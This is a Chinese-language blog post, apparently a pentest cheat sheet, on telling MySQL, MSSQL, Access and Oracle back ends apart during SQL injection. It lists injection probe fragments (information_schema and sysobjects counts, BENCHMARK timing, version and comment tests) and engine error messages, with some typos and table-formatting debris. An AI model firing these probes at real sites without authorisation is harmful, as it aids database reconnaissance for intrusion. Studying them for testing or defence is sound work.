判断MySQL数据库
1.通过报错信息
you have an error in your SQL syntax,check the manual that corrsponds to your mysql server version for the tifht syntax to use near ” at line x
2. 通过连接符判断
‘1’+’1′ = ’11’ (mssql也支持,需要用第二句)
concat(‘1′,’1′) = ’11’
‘adm’ ‘in’ = ‘admin’(空格就等同于+)
3. 通过特有数据表判断
and (select count(*) from information_schema.TABLES)>0
4. 通过length和char函数判断
1 |
同时支持length()和char()。len应该也可以。and len('a')=1 (返回正常,MySQL或mssql) |
5. 通过BENCHMARK函数判断
select BENCHMARK(100000,MD5(‘ADMIN’))
6. 通过@@version和version()判断
1 |
同时支持@@version和version(),如果version()报错就是mssql。 |
7. 通过注释符/*判断
1 |
如果/**/返回错误,说明不是MySQL。 |
判断MSSQL数据库
1.通过报错信息
Msg 170,level 15, State 1,Line 1
Line 1:Incorrect syntax near ‘foo
Msg 105,level 15,state 1,Line 1
Unclose quotation mark before the character string ‘foo
或者:
1 |
Microsoft ODBC Database Engine 错误 |
2. 通过连接符判断
1 |
'1'+'1' = '11' (MySql也支持) |
3. 通过特有数据表判断
1 |
and (select count(*) from sysobjects)>0 (返回正常) and (select count(*) from msysobjects)>0 (返回错误) |
4. 通过默认变量SERVERNAME判断
1 |
select @@SERVERNAMW ?id=0/@@SERVERNAME (可能会触发错误报错) |
5. 通过len函数判断
and len(‘a’)=1
返回正常,可能是mssql,mysql,db2.
6.通过@@version和version()判断
1 |
@@version不报错,version()报错。 |
7. 通过substring函数判断
substring(‘abc’,1,1)=a
返回正常,可能是mssql。Oracle只能用substr。
8.通过注释符–判断
1 |
使用--返回正常,说明是mssql或者oracle。 ;-- (返回正常,mssql; 错误,基本就是Access) |
9. 通过sysobjects判断
1 |
and (select count(*) from sysobjects)>0 一 |
先使用如果第一句,没有出错就肯定不是Acess;
再看第二句,出错了就是SQL-Server;
如果第一句和第二句都出错了,就是Access。
Access只能使用盲猜表名和列名。
判断Access数据库
1.通过报错信息
1 |
Microsoft JET Database Engine错误 '80040e14' |
2. 通过特有数据表判断
and (select count(*) from msysobjects)>0
具体看上面MSSQL的图。
3. 通过len和chr函数判断
1 |
同时支持len()和chr(),且不支持length()和char() |
4. 通过注释符;–判断
1 |
使用;--,返回错误,基本可以肯定是Access。 |
判断Oracle数据库
1.通过报错信息判断
ORA-01756:quoted string not properly terminated
ORA-00933:SQLcommand not properly ended
2. 通过连接符判断
‘1’||’1’=’11’
concat(‘1′,’1′)=’11’
3. 通过特有数据表判断
and (select count(*) from sys.user_tables)>0
4. 通过length函数判断
1 |
可以使用length,不能使用len. len('a')=1 (报错) |
- 通过substr函数判断
1 |
只能使用substr,不能用substring。 |
其它数据库
1 |
可根据使用相应数据库的注入语句一个个测试。如:Postgre的pg_sleep(5), sqlite的sqlite_version()等。 |
参考文章:
https://blog.51cto.com/baiwuya2009/1946358?_adFA0.350332429510239
https://blog.dyboy.cn/websecurity/149.html
http://www.51testing.com/html/10/171610-78245.html
https://blog.csdn.net/Wu000999/article/details/88987253
https://www.cnblogs.com/Fluorescence-tjy/p/10400588.html
FROM :b0urne.top | Author:b0urne
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论